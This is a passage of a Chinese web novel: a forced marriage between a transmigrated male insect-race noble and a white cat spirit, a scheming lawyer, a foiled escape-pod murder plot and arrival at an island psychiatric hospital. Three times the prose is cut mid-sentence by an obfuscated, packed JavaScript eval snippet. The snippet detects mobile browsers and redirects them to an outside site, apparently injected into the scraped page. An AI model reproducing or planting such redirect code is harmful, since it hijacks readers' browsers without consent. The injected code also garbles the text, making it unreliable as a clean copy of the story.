一声令下,乐队奏起了欢快的结婚乐曲,礼炮齐鸣,花童们大把大把地将篮中的花瓣撒向半空,清澈的水珠溅落四散。 在全场宾客和星网上亿万观众的注视下,伊洛恩从台阶一步步登上祭台,笔直站定。而猫咪被服务生放到高脚凳上趴好,同他相对而立。 台下,所有知道真相的观众用掌声掩盖了他们的冷眼旁观,乃至幸灾乐祸。 而在键盘上为他鸣不平,似乎十分在意他的生死的看客,转头便会把这件事丢到脑后,继续为各自的生活琐碎所淹没,再没有精力管他是死是活。 伊洛恩一无所有,也一无所知地站在这个台上,他的眼睛里全无阴霾,神色温柔真挚,好像这场婚礼真的如表面展现出来的一般,是一件值得庆贺的事。 证婚人念出誓词:“在天地、草木、父母兄长、众位宾客的见证下,伊洛恩,与诗因·海莱,自愿结为伴侣,从此财产共有,生死与共。” 他看向伊洛恩:“伊洛恩阁下,您是否同意?” 伊洛恩之前被告知过结婚的基本流程,此时便点头说:“是的,我同意。” 证婚人又看向无力摊在凳子上,满脸写着“世界毁灭吧”的猫咪,略微顿了一下,囫囵道:“诗因阁下,嗯,自然也是同意的……” 猫咪一动不动,死物一般。 证婚人便继续道:“请二位牵手。” 伊洛恩单膝跪地,在猫咪蓬起的毛毛中摸索一阵,翻出一只小爪子,虚虚握在掌心里。 证婚人照着台本继续念:“请雄主亲吻雌君。” 伊洛恩亲了亲猫咪的额头,柔软的毛发凹陷了唇形的弧度。 证婚人道:“那么,我宣布,这一对佳偶,已经完成了他们的誓言,从今往后,他们将永远依靠,永远信任、永远共存……” 话音落下,全场鼓掌。鼓风机吹得花瓣漫天飞舞,穹顶飞快地变换着颜色,日夜轮换,斗转星移,只在短短一瞬间。仿佛这一瞬间,交换誓言的两位主角就已经度过了漫长岁月的考验,白驹已然过隙,沧海化为桑田,他们在更为永恒的事物之下见证了自己一生的承诺。 伊洛恩摘下落到猫咪身上的花瓣,心里静静地想,假如结婚的不是他们两个被逼无奈的人,这本该是多么完美的一场婚礼。 4. 逃生舱 仪式一结束,律师就喜气洋洋地找上了伊洛恩。 “恭喜您,阁下!除了恭贺您新婚愉快以外,我还有一个好消息要告诉您——您的债务问题马上就能得到解决了,只需要您在这些文件上签一下字——” 他从文件包里取出一沓财产转让协议书:“您就将拥有诗因名下所有财产的管理权和使用权,这当真是非常大的一笔财富!不知道多少雄虫羡慕您呢,拥有这样一位富有的雌君,真是求都求不来的好运气!” 他眉飞色舞地说了半天,结果发现对方完全没在听,不由得出声提醒:“阁下?” 伊洛恩如梦初醒,怔怔地转头过来,与他大眼瞪小眼。好半天才终于回神似的,问:“抱歉,你刚刚说了什么?” “我说,您只要在这些文件上签字,就能从此走上虫生巅峰……”律师毕恭毕敬地双手递上钢笔,却又是好一会没得到回应,脸上真情实感地露出了困惑的表情,“阁下?” 他试探地打量了一下伊洛恩的神色:“恕我冒昧,在这个喜悦的日子里,您看上去却好像一点都不高兴。发生了什么事情吗?” 伊洛恩勉强笑了一笑,摇头说:“没有,都很好。” ——只是猫猫不喜欢他。 伊洛恩不清楚事情的原委,但他的头脑并不见得有多迟钝,恰恰相反,他从小看人脸色长大,对别人的情绪和想法尤其敏感,更别提诗因的表现就差没有明说了。 猫咪从头到尾,就没有用正眼瞧过他。被他握住小肉垫的时候,明显想要伸爪子,只是爪子早就被磨秃了,有心无力。 宣誓结束之后也不准他抱,看见他靠近就隔空扇巴掌,最后自己像一只果冻一样从高脚凳上滑下来,慢吞吞地走掉了。 离开的时候,还特地踩几脚落在地上的花瓣,碾得稀碎碎。 已经表现到这种程度,是笨蛋才发现不了。 猫猫讨厌他。 诗因不想结婚,不想见他。 在这场盲婚哑嫁的婚事上,诗因比他更像是被逼迫的那一个。 其实并不意外,毕竟伊洛恩从来就不招人喜欢,即使换了一个世界,这种情况也没有什么改善。 伊洛恩的神情难以控制地落寞下来。他觉得先前努力准备、并怀揣期待的自己,像一个十足十的大傻瓜。 律师还在给他递笔,絮絮叨叨地告诉他要在哪里签名。伊洛恩勉强打起精神看了两眼,满纸都是天文数字,他的头又开始痛了。 这样多的钱,这样庞大的财富,转眼间就被迫拱手送给一个素昧平生的陌生人——将心比心,假如被摁头结婚的是他,他估计也不会对对方的印象好到哪里去。 或许诗因是因为这样才会不待见他,或许事情还有转圜的余地呢? 伊洛恩搁下笔,眉头紧锁,半晌道:“我想和他谈谈。” 他后悔答应结婚了。伊洛恩无意给任何人带来麻烦,他可以不要这笔钱。 如果这次重生只是宇宙中的一场意外事故,他的生命在新的世界也并没有什么价值,那么,他还回去就是了。 律师满口答应:“当然当然,您签完这些文件就可以去见诗因阁下了,想怎么谈怎么谈……” “我是说,在签这些文件之前,现在,立刻就去和他谈。”伊洛恩已经失去了应付这个律师的耐心,直接开口打断,“这是他的财产,应当由他——而不是你来做主。我要见他。” 律师噎了一下,他忽然意识到眼前这位雄虫没有之前那么好糊弄了。按理说这个婚礼的保密工作应当非常到位才对,难不成是他发现了什么? 律师心里有鬼,见他态度坚决,也只好妥协:“好好好,谨遵您的吩咐,现在就去见。” 他把文件收进小包包,带着伊洛恩往外走,边走边见缝插针地劝道:“其实您即便和他见了面,这件事也不会有什么改变呀,雌君的财产本来就应该属于雄主的,从来都是这样。况且,想想您的债务……” 伊洛恩淡淡地说:“多谢提醒,我时刻铭记着我的债务问题。” 律师察觉到他语气中的逆反情绪,心里泛起一阵不识好歹的嘀咕,但总算是没有再叽叽喳喳说个不停了。 他们俩一前一后心事重重地走着,也就没有发现走廊拐角处正有一撮软乎乎的白色毛毛一晃而过,看起来很像是什么小动物的尾巴尖儿。 恰好前方守着两名穿着工作制服的雌虫,见到他们过来,便一齐迎上来,自我介绍道:“伊洛恩阁下,您好,我们是负责接送您的飞行员,请问您现在是准备回去了吗?” 回去?他有什么地方可回去呢。回到医院,躺进那个天价治疗舱里,继续把钱当纸烧吗? 而且烧的还是诗因的钱。 伊洛恩苦笑着摇摇头,说:“不,请送我到诗因所在的地方吧。我有些事情想同他商量。” 他说着,正想再问律师一两句,却见后者早已经泥鳅似的溜到了一边,正站在七八米远的地方朝他鞠躬:“祝您一路顺利,阁下。我在中央星等待您与诗因的好消息。” 伊洛恩喉头一哽:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350081|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……你不和我一起去?” 律师开始装傻充愣:“噢,这是您所希望的吗?要是您坚持如此,那我也只好陪同了,当然了,这趟行程是另外的价钱。鉴于您现在没有独立经济能力,我还是诚恳建议您先把这些文件签了再考虑雇佣我的事……” ……行吧。 伊洛恩无语地朝他摆摆手:“再见。” 两名飞行员对视一眼,一个接过了律师递过来的文件包,另一个对伊洛恩点头道:“没问题,阁下,请随我们来吧。” 一行人就此分道扬镳。 律师在后头目送着他们远去,撇着嘴耸了耸肩。唉,他对这位倒霉的雄虫阁下真的仁至义尽,他确实尽全力在挽救他的生命了,可人家自己不珍惜,他也没办法。一个又有钱又有病的雌君,谁知道会做出什么丧心病狂的事儿? 反正已经不关他的事咯。 两名飞行员带着伊洛恩登上一艘陈旧的飞船。这艘飞船的构造显然比之前那一艘复杂许多,他们在狭长的走道中绕来绕去,最后终于在一扇窄小的安全门前停下脚步。 雌虫们用钥匙打开门锁,毕恭毕敬地道:“到了,阁下。请您在这里暂作休息,抵达时我们会来提醒您的。” 伊洛恩撑着门框,弯腰往里看。里面是一个圆形的小房间,仅有一个座位,布置着软垫和小桌板,还有一把包扎潦草的花束和几包坚果饼干。 座位旁开着一扇小小的方窗,另一面墙则直接做成了曲面屏,虽然空间狭小,但是麻雀虽小五脏俱全,该有的都有。 伊洛恩觉得这很像前世飞机里面的样子,或者说,这应该是头等舱的待遇。尽管这比来时的飞船要小上太多,但他也没有多想,而是微笑着朝那两名雌虫道谢:“谢谢,辛苦了。” 飞行员:“……不客气。” 伊洛恩脱下礼服外套,躬身钻了进去,在座位上坐好。飞行员们最后看了他一眼,扯出一个礼貌的笑,然后轻轻为他关好门,滴地一声,上了锁。 倘若伊洛恩见过更多的飞船,或者在送他过来的飞船上四处走走,就会明白这不是一间普通的舱室。 虫族社会发展到如今,科技已经十分先进,哪怕是专供一虫使用的飞船,也会保证乘坐者拥有足够宽松舒适的空间,绝不会有如此狭窄紧凑的布局。 只除了逃生舱。 一个飞船内部所有构造中,最灵活,最小巧的部位。 可以随意购换,随意弹出,随意丢弃。即便被抛到宇宙中炸成一朵烟花,也无人能够发现。 5. 衰亡期 飞船平稳地升空,几乎让人感觉不到气压的变化。伊洛恩躺在椅背上,好奇地看着舷窗里变化的风景。 紫色的花海渐渐远去,露出星球的全貌,接着星球也慢慢变小,被远远地甩在身后,诺大的宇宙中,只有零星一点星光,其余皆是茫茫的黑暗。 他收回了视线,无事可做,就又从口袋里拿出了诗因的那张小照,放在手里静静地端详。 已经结婚了,可是他对于对方的了解,还是仅限于这张照片。 这是他得到的,关于诗因的唯一资料,一张三年前的半身照。除此以外,那人做过什么,性格如何,现在又在哪里,他全都不得而知。 然后他轻轻摩挲相片,粗糙的拇指指尖不敢碰触对方的脸,只是沿着白色长发的弧度抚摸。 也许关于性格,还是能知道一二。 一个美丽的,尊贵的,骄傲的人。 和他摆在一起,像是枝头的雪梅平白被人兜了一层灰。亦或是已经零落入了尘土,才会与他产生联系。 伊洛恩心里沉甸甸的,他合上手掌,轻轻叹了口气。 他抬起头,却正好对上一双玻璃似的金色眼珠。定睛一看,白色的猫咪就站在阴影处的管道之间,死气沉沉地看着他。 伊洛恩颇感吃惊:“诗因?” 飞船在行驶过程中几乎没有颠簸,因此他解开安全带,慢慢地走上前,蹲在角落里和猫咪说话,压低声音道:“你怎么在这儿?德尔没有把你带回去吗?” 猫咪不吭声,也不动弹,只是面无表情地盯着他看。窗外照入某个恒星的光辉时,在猫咪洁白的皮毛上擦出一溜顺滑的反光,看起来纤尘不染。 伊洛恩和它面对面僵持了一会,试着伸出手,小心翼翼地问:“我抱你下来好吗?” 这一次,他的靠近没有得到排斥和巴掌。伊洛恩低下头,手掌十分轻柔地托起猫咪的身体,抱进自己的怀里:“来。” 猫咪的白毛厚实而密,抱在怀里的感觉,就像是拥住了一朵很大很软的棉花糖。伊洛恩连连做了好几个深呼吸,才稳住胸腔中过速的心跳,让自己看起来仍然是那副成熟稳重的模样,只是脚步轻快了些。 原谅他没有见识,这是伊洛恩人生头一次抱着小猫的时候没有被挠。 他的动物缘真的很差,与人缘不相上下。感谢诗因为他圆梦,他觉得此时此刻的自己人生已经圆满了。 伊洛恩十分珍惜地抱着猫回到座位上,拿手帕擦擦小肉垫,又给它挠了挠下巴。猫咪一开始还别扭地闪躲了两下,之后到底还是没有逃过俊美雄虫在线按摩的诱惑,很快就躺平任摸,脑袋搁在伊洛恩手指上,发出低低的呼噜声。 一人一猫其乐融融,这本来是非常和谐的场面,直到小猫咪感觉哪里不太对,低头一看,自己大围脖上的毛正在扑簌簌往下落:“……” 伊洛恩慢半拍地停下动作,看着自己手上两大坨白色毛毛球:“……” 大眼瞪小眼。伊洛恩看看自己的手,再看看自己粘满猫毛的裤腿,再看看好像变瘦了一点的猫咪,懵懵地问:“我……我把你的毛给弄掉了?” 怎么会这样,他真的已经非常小心了,而且……精神体也会掉毛的吗? 他虽然没有养过小动物,但是总感觉这掉毛的量……有一点点不太正常。 猫咪:“……” 猫咪像看傻子一样看着他。 伊洛恩顿时紧张起来,他把手里的毛毛甩开,抱着小猫咪上下检查:“是生病了吗?有没有哪里不舒服?啊,是不是花粉过敏……” 他立即把座位旁的花束扔到一边。塑料假花被粗暴地扫落到地上,摔得头身分离。 猫咪无语地瞥了他一眼。 四目相对,伊洛恩后知后觉地反应过来什么:“……是衰亡期?” 他记得这件事,这大概是诗因被迫和他绑在一起的根本原因,只不过具体究竟是怎么一回事,他仍然一知半解。 伊洛恩不免忧心忡忡:“衰亡期会有这么严重的反应吗?” 猫咪不做声,有点烦躁地甩了甩大尾巴,灰尘和毛毛一齐在空气中浮动。 这还只是个开始。随着衰亡期的继续,精神力持续萎缩,原本像蒲公英一样洁白蓬松的小猫咪,最终也会像被大风刮过的蒲公英一样……失去所有的毛发。 它变秃了,而且变得更弱了。 简直是闻者伤心见者落泪。 可是这么丢脸的事,难不成要它自己跟这个笨蛋雄虫解释吗?它小猫咪不要面子的吗! 猫猫臭着一张脸,大尾巴在座位扶手上一扫,干脆利落地启动了屏幕,熟练登入星网,打开网页。搜索栏中的输入符号一闪一闪,像是在暗示着什么。 伊洛恩福至心灵,懂了他的意思。 这是要他自己上网查。 他好多年没有上过网了,虫族的文字他也不认识,好在语言还能听懂。他磕磕绊绊地找了半天输入法,终于弄出了语音输入,低声问道:“雌虫衰亡期是怎么一回事?” 点击搜索,页面瞬间弹出了一系列相关词条。伊洛恩点击看起来像是百科全书的那一栏,词条由窄变宽,自动为他读出了具体的释义:雌虫衰亡期,指的是由于雌虫体内细胞逐渐停止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350082|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分裂,导致生命体急剧走向衰亡的一个过程…… 一个生命体的细胞分裂次数是有限度的。雌虫强大的体魄和卓越的恢复能力,仰赖于细胞的不断分裂再生。雌虫们就像是压缩了自己的寿命,让所有的机能在短短的几十年内爆发,而爆发一旦结束,就如同烟花落幕,他们的全身器官会迅速衰竭,走向死亡。 与雌虫相对应的则是雄虫。脆皮,多病,被衬托得犹如废物。但是只要得到良好照顾,正常情况下,他们的寿命可以达到200年左右。 一个刚强而短暂,一个软弱而绵长。他们之间唯一的平衡点,就是繁育后代。 为了让雌虫拥有充足的体能进行生育,雄虫进化出了一种能力——那是一种能够让雌虫全身机能重启,细胞分裂次数归零的神奇能力。 与雄虫交换津液的雌虫,犹如重获新生,他们的生命力会恢复到巅峰时期,并持续二三十年,等到新生命差不多步入成年了,他们才会迎来下一次的衰亡期。 再交换,再重生。如此循环往复。 但是津液的交换是具有唯一性的。雌虫一旦在衰亡期选择了某位雄虫,并且和对方交换了四种以上的津液,那么余生都只能依靠对方来延长寿命,其余雄虫全部无效。 这也正是虫族现如今雄虫为尊,还有那种小后宫一样的婚姻体制能够长期持续的基础。 伊洛恩看得呆住:“……啊。” 看来这个世界和他设想的还是有区别。离婚自由是不存在的,雌虫一旦选择了雄虫,就像签了生死契,一辈子绑定,没得换了。 他不由得有些发愁。诗因如果不喜欢他,想和他离婚,还必须得趁早才行。 必须在那个,四种津液交换之前…… 伊洛恩可以发誓,他这时真的没有想到什么奇怪的地方去,他只是想弄明白这个词到底是什么意思,具体包含哪些行为,于是念出关键词,再次点击搜索。 这次弹出的释义清晰明了:津液,分为细胞内液和细胞外液,常见津液有唾液、汗液、血液、性分泌液…… 下面则详细罗列了各种常见的亲密行为,伊洛恩往下一拉,忽然浑身一震。 满屏幕不可描述的图像在眼前乱晃,各种红的白的黄的杂糅在一起,混乱得像是一团呕吐物,总之就是一个原则:不择手段,越多越好。 伊洛恩:“……” 他吓得手一抖,直接关掉了屏幕。 坐在光线暗淡的舱室内,伊洛恩呆若木鸡。 几秒钟过去,伊洛恩忽然捂住嘴。 他弯下腰去。 “呕——” 6. 宇宙烟花盛典 猫咪吓得浑身毛都炸起,怎么也没想到他会有这种反应,飞快地跳到一边,金色的大眼睛瞪得圆溜溜,发出“喵喵喵”的尖叫。 不知道该不该庆幸伊洛恩到现在为止也没机会吃东西,他干呕了一阵,什么也没有吐出来,只是把肠胃搅得翻天覆地,眼睛通红一片,生理性泪水流了满脸。 他咳嗽着说:“对不、不起,我、我没事……” 猫咪迅速回神,从抽屉里叼出一张手帕,往他脸上拱了拱。 伊洛恩接来擦干净脸,勉强平复呼吸,长长的睫毛微颤着,还有些湿润。束好的头发因刚才的动静散了一些,有几缕垂到脸侧,墨色的发丝衬着他白纸一样的脸色,看起来苍白而脆弱。 猫咪忽然挪不动步子了,它竖直的猫瞳微微收缩,像是锁定了某个令它格外感兴趣的猎物一般,直勾勾地盯着他。 伊洛恩这一吐,之前为了婚礼强撑起来的精气神全散了,初醒时的眩晕和疲惫重新占据上风。他羞愧于在诗因面前失态,深深地垂着头,嗓音沙哑地又说了一遍:“……对不起。” 猫咪迟疑片刻,跳到他的膝盖上,身子拱了拱,把自己的小脑瓜塞进了他的掌心里。 手心里忽然多了一朵小白云,毛茸茸,圆滚滚。伊洛恩心里微微一暖,手掌很轻、很温柔地摩挲着。 明明那么不喜欢他,还这样牺牲自己来安慰他,诗因真的好善良。 善良又美好的诗因,也要像图中的雌虫一样,遭受那种对待吗? 想到刚刚看见的东西,伊洛恩胃部又是一阵痉挛。他额头冷汗直冒,担心控制不住力道又会把猫咪的毛薅掉,于是挪开手掌,躺进椅背,微喘着气说:“对不起……我休息一会。” 猫咪甩了甩软乎乎的大尾巴,大度地宽恕了他的失陪。 它把尾巴一卷,在伊洛恩腹部坐下,像是一张厚实的大毛毯子,很快就捂暖了这一小片皮肤。 当然,小猫咪的本意才不是要温暖他。它是一只盘踞在宝石上的巨龙,因为这颗黑水晶的光泽足够好看,所以今天才会勉为其难地在这里休息罢了! 这跟雄虫的身体状况一点关系都没有,像他这样冷酷高傲的小猫咪,怎么可能会去和雄虫贴贴?绝对不可能的。 白色的毛发随着呼吸微微起伏,又往下落了几根。时间安静地流逝着,守护着另一个人的安详氛围,几乎让猫咪有些打瞌睡。 过了好久,那只修长的手才重新落回它身上,像是对待一件易碎的珍宝一样,缓慢而珍重地抚摸着。 然后它听见伊洛恩低缓的声音:“你应该选择一个你喜欢的、会对你好的伴侣。” 猫咪抬起脑袋,怔怔地看着他。 但是伊洛恩没有睁眼,没有再用那双温暖的黑色眼睛微笑着注视它。他的动作也越来越轻,越来越慢,好像是睡着了。鸦翅一样的发丝散落在苍白的脸颊上,眉头微微皱着,似乎梦里也在为某件事烦恼着,神色寂寞而忧郁。 诗因值得更好的伴侣,那个对象不是他。 伊洛恩只是渺小的,卑微的,懦弱的,万丈红尘中的一粒微尘,恒河中的一粒沙。 那只快要从猫咪身上滑落的手,被一双肉乎乎的猫爪偷偷接住了。猫咪蜷着爪子,用小肉垫捧着那几根手指,难得地,有些举棋不定。 它歪歪脑袋,看看伊洛恩憔悴的睡颜,又看看他指腹的茧和倒刺,然后犹豫着伸出粉粉的舌头,轻轻舔了两下,试图让那些细小的伤口恢复平整。 黑色的花在自然界中罕见到难以寻觅,因为它们太敏感,太容易受热,也太脆弱。如果不能得到最细致的照料和无微不至的保护,哪怕只是稍微过量的一点阳光和热量,也会将它们晒死。 猫咪静默地凝视着他黑色的头发。 罕见的发色,稀有的雄虫,珍贵的存在。 雄虫比他想象中更加容易受伤。 正当小猫咪陷入沉思的时候,行进中的飞船突然轰隆一声巨响,发出一阵剧烈的颠簸,并且逐渐变成愈演愈烈的大幅摇晃。 猫咪一个没站住,直接被大力甩飞出去,整个身体重重地拍在了窗玻璃上,啪叽一声摊成了一张大号猫毛毯子。接着随着飞船倾向另一侧,它又不受控制地向后摔倒,骨碌碌地滚在地板上,一直撞到墙角,变成了一只散架的毛线球。 伊洛恩瞬间被惊醒,睁眼就看见房间里猫毛乱飞,耳边回荡着喵嗷喵嗷的惨叫。他大惊失色,左右张望,在角落看见摔得四仰八叉的毛团团,眼疾手快地一把捞回来,紧紧搂在怀里。 飞船晃得越来越厉害,最后甚至开始像大摆锤一样三百六十度旋转。整个舱室内的东西都像洗衣机里的衣服一样甩来甩去,噼里啪啦地乱响。 伊洛恩抱着猫,紧紧攥住身上的安全带,虽然没有被甩出去,但是也被转得头晕眼花,差点又吐出来。 怎么回事,发生了什么? 又是一阵天旋地转,伊洛恩的头发和猫咪的尾巴全都倒立下垂,紧接着,他们面前的屏幕亮了。 “阁下,不好了,不好了!” 飞行员的脸出现在屏幕上,惊恐的表情做得非常夸张,本来还算周正的五官几乎扭曲成了一个诡异的角度,他使劲把眉毛挤在一起,哭丧着脸说:“我必须告诉您一个不幸的消息,我们的飞船遭遇了陨石群!” 伊洛恩的耳朵因充血而嗡嗡作响,一句话都听不清,他艰难地开口:“……什么?” “我是说,陨石群!为了让您安全撤离,我们需要您启动分离装置,以便我们更好地保护您的安全。看到您座位右下角的绿色按钮了吗?请您按下它……” 就在这时,伊洛恩怀里那丛乱蓬蓬的白毛中忽然伸出了一只摔扁的猫猫头,模样狼狈,连帅气的胡须都折了几根,此时盯着屏幕里喋喋不休的雌虫,面无表情,杀气四溢。 那名飞行员嘴里的话顿时卡了壳,一时有点摸不明白状况,茫然地停了两秒,又硬着头皮继续道:“请您……” 猫猫眯起金色的眸子,眼神中的死亡警告昭然若揭。 飞行员:“……” 位置颠倒的飞船慢慢回到了原位。伊洛恩捂着自己晕晕沉沉的头,深深地喘着气,浑身上下简直无一不难受。他竭力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350083|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍住干呕的本能,虚弱地说:“对不起,我刚刚没有听清,你刚才说要让我做什么?” 飞行员:“……呃,没什么,我是说,请您坐好扶稳,我们很快就能穿过这片陨石群,只是航行过程中可能会略有一些颠簸……” 猫咪伸爪摆弄了一下自己凌乱的面部毛发,冷冷地看向他。 飞行员:“……” 飞行员:“飞船会保持平稳行驶,请您好好休息,尽情欣赏窗外的风景。” 屏幕熄灭了。 驾驶舱中,飞行员站在关闭的通讯器前凌乱了一会,然后开始啊啊乱叫地疯狂揉搓自己的头发,对着同伴抓狂道:“怎么回事?少将的精神体为什么会待在那只雄虫身边啊?为什么啊?这和说好的不一样啊!” 按照原计划,他们应该按照“不小心”弄错的航线把飞船开进这片陨石群,诱骗那个倒霉雄虫按下逃生按钮,然后顺理成章地送他和陨石们来个亲密接触,在宇宙中炸成一朵绚烂的烟花。 之后他们再伪装成雄虫的样子,大摇大摆地接回少将,大家一起快乐地浪迹到天涯,想干嘛干嘛。 结果?结果少将精神体就待在那个见鬼的雄虫怀里,别说炸雄虫了,连晃都不许晃,他们到底来干嘛的?难不成是来这里陪少将婚后度蜜月的吗? 同伴端坐在驾驶台前,手速飞快,十分有条理地把刚才被折腾得乱七八糟的手杆和按钮弄回原位,语气淡定:“老伙计,冷静一点,多年的作战生涯还没有让你学会随机应变吗?既然少将改变了计划,那么我们也顺着改变就好了,对不对?” 飞行员眼睁睁地看着他摁下激光炮发射键,绝望地呐喊:“……可是这也改变太多了吧!” 另一边,伊洛恩疲惫不堪地躺在软椅中,捂着隐隐作痛的太阳穴,努力放松呼吸。意识模糊之际,忽然感觉眼前闪过了什么明亮的东西。 他睁开眼睛,看向窗外。原本无边无际的黑暗宇宙中,此时正接连跃动着五颜六色的光芒,比远方的星云要更盛大,比近处的恒星要更辉煌,格外张扬地争夺着他的视线。 大颗大颗迎面撞来的陨石被炮火击中,爆炸出璀璨的亮光,五彩缤纷,一个接一个,犹如花园里团簇的鲜花,挤挤挨挨,盛放得绚烂而恣意。 小粒的陨石碎片被那样的热度波及,很快也自己燃烧起来,循着轨迹漂浮到四面八方,远远望去,就像是一片拖着长长尾巴、奔跑闪烁的流星雨。 一切寂静无声,只有光芒流转,起起落落。飞船为了保持平稳的航线,一路火力输出,激光炮口对准了挡在面前的一切障碍物,让这场表演几乎没有停歇,仿佛世界已经变成了一条光河,到处都是流动的繁星,瑰丽得如梦似幻。 这是一场别开生面的宇宙烟花庆典,只为他而盛放。 伊洛恩从来没有见过这样的景色,他完全看呆了。 “真漂亮啊……”他情不自禁地喃喃。 猫咪慢悠悠地摇着大尾巴,闻言瞅了他一眼,心想,哪有你漂亮。 这么好看的脸,炸了多少有些可惜。 还是留着吧。 7. 精神病院 飞船很快抵达了一颗蓝汪汪的星球。 穿过稠密的气层,一望无际的汪洋在窗外展开,蓝得几乎毫无杂质,像一只平静而深邃的眼睛。与它对视得久了,好像灵魂也会被吸进去,在这片纯粹的颜色中无尽地下坠,被深深地贮藏在深处。 第五星系处于虫族统治范围的边缘地带,曾经是虫族与其他宇宙种族争夺领地的战场,既见证过辉煌的明星冉冉升起,也在炮火中埋葬了无数陨落的尘埃。 好在这里现如今已经基本恢复和平,安安分分地待在虫族版图里面,尽管常驻虫口不算太多,但总体而言被建设得还算不错。 位于伊洛恩眼前的这座星球名叫海蓝星,有95%的面积被海洋覆盖,为数不多的小小陆地散落其间,如同蓝色丝绒布上滚动的翡翠碎屑。 他们将要去的地方是这个星球上最大的一座岛屿,虫族最有名的精神病院正坐落于此,里面关押的全都是有头有脸的病患。待遇如何暂且不提,就风景而言,确实是无可挑剔。 飞船即将落地,驾驶台上的各种灯频繁闪烁,机械播报风向和风速等数据的声音不绝于耳。飞行员一边操作,一边头也不抬地问:“美黛丝那边进展得怎么样了?” 同伴说:“三分钟前回了消息,说已经成功落地,即将展开行动。希望一切顺利。” 此时,精神病院内。 跟在雌虫护士身后的某个护理机器人忽然停顿了一秒,豆豆眼的灯光颜色由绿转蓝,由蓝转金,再由金色恢复原来的绿。身上的指示灯也噼里啪啦一阵乱闪,像是刚醒的人正在伸懒腰,惫懒的筋骨发出咔嚓咔嚓的响。 意识程序覆盖完毕。啊,真是好弱的一具躯体。 正在抽血的护士感觉到哪里不对,回头看了它一眼,奇怪地问:“1034号,你出了什么故障吗?” 机器人眨巴眨巴豆子眼,发出程序预设的可爱声音: “您的指令已收到——叮!自检程序启动中……全身扫描,自检完毕……报告!1034非常健康,所有程序一切正常,很高兴为您服务噢!” 加密通讯器上弹出了一条消息。 “【美】:准备就绪。” 两名飞行员对视一眼,点了点头。 舱门打开,他们并肩走出驾驶室,看着同伴用面部识别打开一扇又一扇安全门,飞行员又有些犹豫:“可是,我们真要把希望寄托在那个来历不明的雄虫身上吗……我们甚至都不知道他接下来会有什么行动,这样真的不会出问题吗?” “既然少将选择留下他,那么自然有少将的道理。”同伴说,“而且有美黛丝在,如果他真的做了什么不该做的事……到时候再杀也不迟。” 只是他们彼此都清楚,那样闹起来,付出的代价就要大得多了。 但愿事情不会走到那个地步。 他们解开逃生舱的门锁,把文件包递给伊洛恩,躬身道:“阁下,我们已经顺利抵达目的地。您下船以后,只要顺着道路直走就可以了。愿好运常常与您相伴,我们就在这里等您回来。” “好,辛苦你们了。” 伊洛恩睡了一觉,精神已经恢复许多,身体也没那么难受了。他接过文件包,正准备抱上猫咪出发,却见它从自己怀中一跃而下,三两步敏捷跳上了走廊,大摇大摆地跑了。 伊洛恩急忙追上去:“等等……诗因,等等我。” 猫咪撒开四只小短腿,竖着尾巴吧嗒吧嗒跑得飞快,但是又时不时停下来回头看看,控制在一个恰好能让伊洛恩追上的距离。 伊洛恩气喘吁吁地跟在后面,不知不觉就来到了一栋白色的建筑物前,他看着猫咪三两下窜上了一棵高大茁壮的乔木,在浓密的枝叶间低头瞥了他一眼,然后踩着枝条蹦了两下,像一只灵活的麻雀,忽闪间就不见了踪影。 伊洛恩扶着树干,有些茫然地在下面呼唤着:“诗因,诗因?你在哪儿?不要躲了,下来好吗?” 一处树叶忽然抖动起来,沙沙作响,无辜的叶子纷纷下落。 看起来像躲在里面的猫咪不耐烦地踩了两下树枝。 伊洛恩想,诗因难道是想要我爬上去陪他玩吗? 虽然有点幼稚,但也不是不行。既然诗因想玩,那就陪他好了。 他捋起袖子,挽了挽裤腿,正打算攀着树干往上爬,结果爬到一半,又看见猫咪倏地跳了一下,好像顺着枝干跳进了窗户里,一下子就不见了。 伊洛恩顿时有点急了。 他的体能有限,做不到像小猫那样敏捷灵活,肯定是没办法跳进窗户里的,何况以那种方式闯入别人的房间,也未免太不礼貌了。 可是如果弄丢了精神体,他待会怎么跟诗因本人交代? 伊洛恩喊了一声:“诗因!” 窗户里毫无动静,不知道是猫咪故意不理他,还是已经跑远了。 伊洛恩抱着树干进退两难,上也不是下也不是。 他不想让诗因更讨厌他,但又被戏耍得不知所措,根本不知道该怎么办才好。 本来和人类打交道就很让他头疼了,如今换成了宇宙时代的外星虫族人,伊洛恩简直要被难倒了。 虫族们到底是怎么思考问题的,他真是一点也搞不明白。 这时下面传来“呀”的一声惊呼。伊洛恩回头一看,一位身穿护士服的雌虫正脸红红地看着他,旁边还跟着一个胖墩墩、圆滚滚的银色机器人。 